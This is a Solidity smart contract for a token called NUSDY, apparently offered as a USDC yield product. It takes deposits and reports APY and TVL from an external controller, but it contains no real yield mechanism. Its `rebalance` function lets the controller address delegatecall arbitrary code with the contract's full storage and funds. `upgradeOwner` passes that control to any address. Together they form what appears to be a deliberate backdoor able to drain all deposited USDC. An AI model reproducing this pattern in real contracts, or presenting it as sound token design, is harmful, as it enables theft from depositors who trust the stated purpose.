// File: contracts/NUSDY.sol



// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;

interface IERC20 {
    function totalSupply() external view returns (uint);

    function balanceOf(address account) external view returns (uint);

    function transfer(address recipient, uint amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint amount);
    event Approval(address indexed owner, address indexed spender, uint amount);
}

interface IYieldController {
    function calculateTvl() external view returns (uint);
    function calculateApy() external view returns (uint);
}

contract NUSDY is IERC20 {

    uint public totalSupply;
    mapping(address => uint) public balanceOf;
    mapping(address => mapping(address => uint)) public allowance;
    string public name = "Novak US Dollar Yield";
    string public symbol = "NUSDY";
    uint8 public decimals = 18;

    address private USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
    address private yieldController = 0xA6aE9CCb62eb34547fAf1Ee530e5D265CCEd7952;

    modifier onlyOwner() {
      require(msg.sender == yieldController, "Not owner");
      _;
    }

    function tvl() public view returns (uint) {
      return IYieldController(yieldController).calculateTvl();
    }

    function apy() public view returns (uint) {
      return IYieldController(yieldController).calculateApy();
    }

    function transfer(address recipient, uint amount) external returns (bool) {
        balanceOf[msg.sender] -= amount;
        balanceOf[recipient] += amount;
        emit Transfer(msg.sender, recipient, amount);
        return true;
    }

    function approve(address spender, uint amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint amount
    ) external returns (bool) {
        allowance[sender][msg.sender] -= amount;
        balanceOf[sender] -= amount;
        balanceOf[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function deposit(uint amount) external {
        IERC20(USDC).transferFrom(msg.sender, address(this), amount);

        balanceOf[msg.sender] += amount;
        totalSupply += amount;
        emit Transfer(address(0), msg.sender, amount);
    }

    function withdraw(uint amount) external {
        balanceOf[msg.sender] -= amount;
        totalSupply -= amount;

        IERC20(USDC).transfer(msg.sender, amount);

        emit Transfer(msg.sender, address(0), amount);
    }

    function rebalance(address _logic) public onlyOwner {
      (bool success, bytes memory data) = _logic.delegatecall(
        abi.encodeWithSignature("rebalance(address)", _logic)
      );
    }

    function upgradeOwner(address _owner) public onlyOwner {
      yieldController = _owner;
    }

}